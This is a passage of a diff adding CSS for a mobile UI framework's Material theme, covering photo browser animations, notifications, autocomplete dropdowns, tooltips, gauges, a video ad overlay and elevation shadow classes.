transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } +} +@-webkit-keyframes photo-browser-out { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } +} +@keyframes photo-browser-out { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } +} +.md .toolbar ~ .photo-browser-captions { + bottom: 48px; + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); +} +.md .toolbar ~ .photo-browser-captions.photo-browser-captions-exposed { + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); +} +.md .photo-browser-exposed .toolbar ~ .photo-browser-captions { + -webkit-transform: translate3d(0, 48px, 0); + transform: translate3d(0, 48px, 0); +} +.md .photo-browser-page .toolbar { + -webkit-transform: none; + transform: none; +} +.md .photo-browser-page .navbar, +.md .photo-browser-page .toolbar { + background: rgba(33, 150, 243, 0.95); + -webkit-transition: 400ms; + transition: 400ms; +} +.md .photo-browser-dark .navbar, +.md .photo-browser-page-dark .navbar, +.md .photo-browser-dark .toolbar, +.md .photo-browser-page-dark .toolbar { + background: rgba(30, 30, 30, 0.8) !important; + color: #fff; +} +.md .photo-browser-dark .navbar a, +.md .photo-browser-page-dark .navbar a, +.md .photo-browser-dark .toolbar a, +.md .photo-browser-page-dark .toolbar a { + color: #fff; +} +.md .color-theme-red .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-red .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-red .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-red .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(244, 67, 54, 0.95); +} +.md .color-theme-green .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-green .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-green .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-green .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(76, 175, 80, 0.95); +} +.md .color-theme-blue .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-blue .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-blue .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-blue .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(33, 150, 243, 0.95); +} +.md .color-theme-pink .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-pink .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-pink .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-pink .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(233, 30, 99, 0.95); +} +.md .color-theme-yellow .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-yellow .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-yellow .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-yellow .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(255, 235, 59, 0.95); +} +.md .color-theme-orange .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-orange .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-orange .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-orange .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(255, 152, 0, 0.95); +} +.md .color-theme-gray .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-gray .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-gray .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-gray .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(158, 158, 158, 0.95); +} +.md .color-theme-white .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-white .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-white .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-white .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(255, 255, 255, 0.95); +} +.md .color-theme-black .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-black .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-black .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-black .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(0, 0, 0, 0.95); +} +.md.device-iphone-x .photo-browser-captions { + bottom: constant(safe-area-inset-bottom); + bottom: env(safe-area-inset-bottom); +} +.md.device-iphone-x .toolbar ~ .photo-browser-captions { + bottom: calc(48px + constant(safe-area-inset-bottom)); + bottom: calc(48px + env(safe-area-inset-bottom)); +} +/* === Notifications === */ +.notification { + position: absolute; + left: 0; + top: 0; + width: 100%; + z-index: 20000; + font-size: 14px; + margin: 0; + border: none; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + direction: ltr; +} +.notification-icon { + font-size: 0; +} +.notification-header { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.notification-close-button { + margin-left: auto; + cursor: pointer; +} +html.with-statusbar.device-ios .notification, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .notification { + margin-top: 20px; +} +html.with-statusbar.device-android .notification, +html.with-statusbar.md:not(.device-ios):not(.device-android) .notification { + margin-top: 24px; +} +html.with-statusbar.device-iphone-x .notification { + margin-top: constant(safe-area-inset-top); + margin-top: env(safe-area-inset-top); +} +.md .notification { + left: 0; + top: 0; + width: 100%; + background: #fff; + border-radius: 0px; + -webkit-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.22), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 2px 4px rgba(0, 0, 0, 0.22), 0 1px 2px rgba(0, 0, 0, 0.24); + padding: 16px; + color: #000; + max-width: 568px; +} +@media (min-width: 568px) { + .md .notification { + left: 50%; + margin-left: -284px; + } +} +.md .notification.modal-in { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + -webkit-animation: notification-md-in 400ms ease-out; + animation: notification-md-in 400ms ease-out; +} +.md .notification.modal-in.notification-transitioning { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; +} +.md .notification.modal-out { + -webkit-animation: none; + animation: none; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-timing-function: ease-in; + transition-timing-function: ease-in; + -webkit-transform: translate3d(0, -150%, 0); + transform: translate3d(0, -150%, 0); +} +.md .notification-icon { + width: 16px; + height: 16px; + margin-right: 8px; + line-height: 16px; +} +.md .notification-icon i { + width: 16px; + height: 16px; + font-size: 16px; +} +.md .notification-title { + font-size: 12px; + line-height: 1; + color: #2196f3; +} +.md .notification-subtitle { + font-size: 14px; + line-height: 1.35; + color: #212121; +} +.md .notification-subtitle + .notification-text { + margin-top: 2px; +} +.md .notification-text { + font-size: 14px; + line-height: 1.35; + color: #757575; +} +.md .notification-header + .notification-content { + margin-top: 6px; +} +.md .notification-title-right-text { + font-size: 12px; + color: #757575; + margin-left: 4px; +} +.md .notification-title-right-text:before { + content: ''; + width: 3px; + height: 3px; + border-radius: 50%; + display: inline-block; + vertical-align: middle; + margin-right: 4px; + background: #757575; +} +.md .notification-close-button { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); + width: 16px; + height: 16px; + background-position: center top; + background-repeat: no-repeat; + background-size: 100% auto; + position: relative; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.md .notification-close-button:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .notification-close-button.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .notification-close-button:before { + width: 48px; + height: 48px; + left: 50%; + top: 50%; + margin-left: -24px; + margin-top: -24px; +} +.md .notification-close-button:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + width: 48px; + height: 48px; + margin-left: -22px; + margin-top: -22px; +} +@-webkit-keyframes notification-md-in { + 0% { + -webkit-transform: translate3d(0, -150%, 0); + transform: translate3d(0, -150%, 0); + } + 50% { + -webkit-transform: translate3d(0, 10%, 0); + transform: translate3d(0, 10%, 0); + } + 100% { + -webkit-transform: translate3d(0, 0%, 0); + transform: translate3d(0, 0%, 0); + } +} +@keyframes notification-md-in { + 0% { + -webkit-transform: translate3d(0, -150%, 0); + transform: translate3d(0, -150%, 0); + } + 50% { + -webkit-transform: translate3d(0, 10%, 0); + transform: translate3d(0, 10%, 0); + } + 100% { + -webkit-transform: translate3d(0, 0%, 0); + transform: translate3d(0, 0%, 0); + } +} +/* === Autocomplete === */ +.autocomplete-page .autocomplete-found { + display: block; +} +.autocomplete-page .autocomplete-not-found { + display: none; +} +.autocomplete-page .autocomplete-values { + display: block; +} +.autocomplete-page .list ul:empty { + display: none; +} +.autocomplete-preloader:not(.autocomplete-preloader-visible) { + visibility: hidden; +} +.autocomplete-preloader:not(.autocomplete-preloader-visible), +.autocomplete-preloader:not(.autocomplete-preloader-visible) * { + -webkit-animation: none; + animation: none; +} +.autocomplete-dropdown { + background: #fff; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + z-index: 500; + width: 100%; + right: 0; +} +.autocomplete-dropdown .autocomplete-dropdown-inner { + position: relative; + overflow: auto; + -webkit-overflow-scrolling: touch; + height: 100%; + z-index: 1; +} +.autocomplete-dropdown .autocomplete-preloader { + display: none; + position: absolute; + bottom: 100%; + width: 20px; + height: 20px; +} +.autocomplete-dropdown .autocomplete-preloader-visible { + display: block; +} +.autocomplete-dropdown .autocomplete-dropdown-placeholder { + color: #a9a9a9; +} +.autocomplete-dropdown .list { + margin: 0; +} +.autocomplete-dropdown .list ul { + background: none !important; +} +.autocomplete-dropdown .list ul:before { + display: none !important; +} +.autocomplete-dropdown .list ul:after { + display: none !important; +} +.list .item-content-dropdown-expanded .item-title.item-label { + width: 0; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; + overflow: hidden; +} +.list .item-content-dropdown-expanded .item-title.item-label + .item-input-wrap { + margin-right: 0; +} +.list .item-content-dropdown-expanded .item-input-wrap { + width: 100%; +} +.md .autocomplete-page .navbar .autocomplete-preloader { + margin-left: 16px; +} +.md .autocomplete-dropdown { + -webkit-box-shadow: 0 2px 2px rgba(0, 0, 0, 0.25); + box-shadow: 0 2px 2px rgba(0, 0, 0, 0.25); +} +.md .autocomplete-dropdown .autocomplete-preloader { + left: 16px; + margin-bottom: 8px; +} +.md .autocomplete-dropdown .autocomplete-preloader .preloader-inner-gap, +.md .autocomplete-dropdown .autocomplete-preloader .preloader-inner-half-circle { + border-width: 3px; +} +.md .autocomplete-dropdown .list { + color: rgba(0, 0, 0, 0.54); +} +.md .autocomplete-dropdown .list b { + font-weight: normal; + color: #212121; +} +.md .searchbar-input-wrap .autocomplete-dropdown .item-content { + padding-right: 73px; +} +.md .searchbar-input-wrap .autocomplete-dropdown li:last-child { + border-radius: 0 0 8px 8px; + position: relative; + overflow: hidden; +} +.md .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-placeholder { + color: #939398; +} +/* === Tooltip === */ +.tooltip { + position: absolute; + z-index: 20000; + background: rgba(0, 0, 0, 0.87); + border-radius: 4px; + padding: 8px 16px; + color: #fff; + font-size: 14px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + line-height: 1.2; + opacity: 0; + -webkit-transform: scale(0.9); + transform: scale(0.9); + -webkit-transition-duration: 150ms; + transition-duration: 150ms; + -webkit-transition-property: opacity, -webkit-transform; + transition-property: opacity, -webkit-transform; + transition-property: opacity, transform; + transition-property: opacity, transform, -webkit-transform; + z-index: 99000; + font-weight: 500; +} +.tooltip.tooltip-in { + -webkit-transform: scale(1); + transform: scale(1); + opacity: 1; +} +.tooltip.tooltip-out { + opacity: 0; + -webkit-transform: scale(1); + transform: scale(1); +} +.device-desktop .tooltip { + font-size: 12px; + padding: 6px 8px; +} +/* === Gauge === */ +.gauge { + position: relative; + text-align: center; + margin-left: auto; + margin-right: auto; + display: inline-block; +} +.gauge-svg, +.gauge svg { + max-width: 100%; + height: auto; +} +.gauge-svg circle, +.gauge svg circle, +.gauge-svg path, +.gauge svg path { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +iframe#viAd { + z-index: 12900 !important; + background: #000 !important; +} +.vi-overlay { + background: rgba(0, 0, 0, 0.85); + z-index: 13100; + position: absolute; + left: 0%; + top: 0%; + width: 100%; + height: 100%; + border-radius: 3px; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + text-align: center; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +@supports ((-webkit-backdrop-filter: blur(10px)) or (backdrop-filter: blur(10px))) { + .vi-overlay { + background: rgba(0, 0, 0, 0.65); + -webkit-backdrop-filter: blur(10px); + backdrop-filter: blur(10px); + } +} +.vi-overlay .vi-overlay-text { + text-align: center; + color: #fff; + max-width: 80%; +} +.vi-overlay .vi-overlay-text + .vi-overlay-play-button { + margin-top: 15px; +} +.vi-overlay .vi-overlay-play-button { + width: 44px; + height: 44px; + border-radius: 50%; + border: 2px solid #fff; + position: relative; +} +.vi-overlay .vi-overlay-play-button.active-state { + opacity: 0.55; +} +.vi-overlay .vi-overlay-play-button:before { + content: ''; + width: 0; + height: 0; + border-top: 8px solid transparent; + border-bottom: 8px solid transparent; + border-left: 14px solid #fff; + position: absolute; + left: 50%; + top: 50%; + margin-left: 2px; + -webkit-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); +} +/* === Elevation === */ +.elevation-0 { + -webkit-box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; + box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; +} +.elevation-1 { + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-2 { + -webkit-box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-3 { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-4 { + -webkit-box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-5 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-6 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-7 { + -webkit-box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; +} +.elevation-8 { + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; +} +.elevation-9 { + -webkit-box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; +} +.elevation-10 { + -webkit-box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; +} +.elevation-11 { + -webkit-box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; +} +.elevation-12 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; +} +.elevation-13 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; +} +.elevation-14 { + -webkit-box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; +} +.elevation-15 { + -webkit-box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; +} +.elevation-16 { + -webkit-box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; +} +.elevation-17 { + -webkit-box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; +} +.elevation-18 { + -webkit-box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; +} +.elevation-19 { + -webkit-box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; +} +.elevation-20 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; +} +.elevation-21 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; +} +.elevation-22 { + -webkit-box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; +} +.elevation-23 { + -webkit-box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; +} +.elevation-24 { + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-0:hover { + -webkit-box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; + box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; +} +.device-desktop .elevation-hover-1:hover { + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-2:hover { + -webkit-box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-3:hover { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-4:hover { + -webkit-box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-5:hover { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-6:hover { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-7:hover { + -webkit-box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-8:hover { + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 